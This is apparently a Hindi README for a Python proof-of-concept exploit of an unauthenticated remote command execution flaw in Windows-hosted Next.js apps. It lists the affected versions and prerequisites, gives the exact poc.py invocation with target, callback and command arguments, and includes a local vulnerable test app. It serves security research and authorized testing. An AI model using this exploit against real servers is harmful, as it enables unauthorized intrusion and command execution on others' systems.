CVE-2026-75604 RCE PoC

Windows-होस्टेड Next.js अनुप्रयोगों में अनधिप्रमाणित रिमोट कमांड निष्पादन भेद्यता के लिए Python प्रूफ़ ऑफ़ कॉन्सेप्ट, जो Pages Router और App Router दोनों का उपयोग Cache Components के बिना करते हैं।

प्रदर्शन

आवश्यकताएँ

• Next.js >=13.4 <15.5.24 या >=16.0 <16.3.3
• नेटिव Windows सर्वर
• Cache Components के बिना Pages Router और App Router
• एक डायनामिक Pages ISR रूट और एक डायनामिक कैश्ड App रूट के साथ डिफ़ॉल्ट फ़ाइलसिस्टम कैश
• एक संगत क्लोज़र-बाउंड Server Action
• Python 3.9+ और लक्ष्य द्वारा पहुँच योग्य एक कॉलबैक पता

[email protected] के साथ सत्यापित।

python -m pip install -r requirements.txt

उपयोग

python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE

Server Action पथ डिफ़ॉल्ट रूप से / है। जब इसके फ़ॉर्म में एक से अधिक फ़ील्ड हों तो --action-field का उपयोग करें।

आवश्यक आर्ग्युमेंट:

• --target URL: Next.js अनुप्रयोग का बेस URL
• --callback-ip ADDRESS: लक्ष्य द्वारा पहुँच योग्य IPv4 पता
• --pages-cache-path PATH: मौजूदा डायनामिक Pages Router ISR पेज
• --app-cache-path PATH: फ़ाइलसिस्टम कैश द्वारा समर्थित मौजूदा डायनामिक App Router पेज

वैकल्पिक आर्ग्युमेंट:

• --command COMMAND: निष्पादित करने के लिए कमांड; डिफ़ॉल्ट whoami है
• --action-path PATH: संगत Server Action वाला App Router पेज; डिफ़ॉल्ट / है
• --action-field NAME: एक्शन द्वारा उपभोग किया जाने वाला फ़ॉर्म फ़ील्ड; स्पष्ट होने पर स्वचालित रूप से पहचाना जाता है
• --callback-port PORT: कॉलबैक पोर्ट; डिफ़ॉल्ट 4331 है
• --listen-address ADDRESS: स्थानीय कॉलबैक बाइंड पता; डिफ़ॉल्ट 0.0.0.0 है
• --timeout SECONDS: अनुरोध और कॉलबैक टाइमआउट; डिफ़ॉल्ट 20 है
• --insecure: TLS प्रमाणपत्र सत्यापन अक्षम करता है

स्थानीय लक्ष्य

वैकल्पिक target/ अनुप्रयोग [email protected] को पिन करता है और मानक Next.js प्रोडक्शन सर्वर का उपयोग करता है:

cd target
npm ci
npm run build
npm start

PoC को किसी अन्य टर्मिनल में चलाएँ:

python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed

वैकल्पिक लक्ष्य आवश्यक रूट और / पर एक संगत Server Action प्रदान करता है।

अस्वीकरण

यह PoC केवल शैक्षिक उद्देश्यों, सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है। इसका उपयोग केवल उन सिस्टम पर करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति है।

श्रेय

evolutionstorm और b0r1 को श्रेय।

यह PoC सार्वजनिक सलाहकार और Next.js पैच से स्वतंत्र रूप से पुनर्निर्मित किया गया था।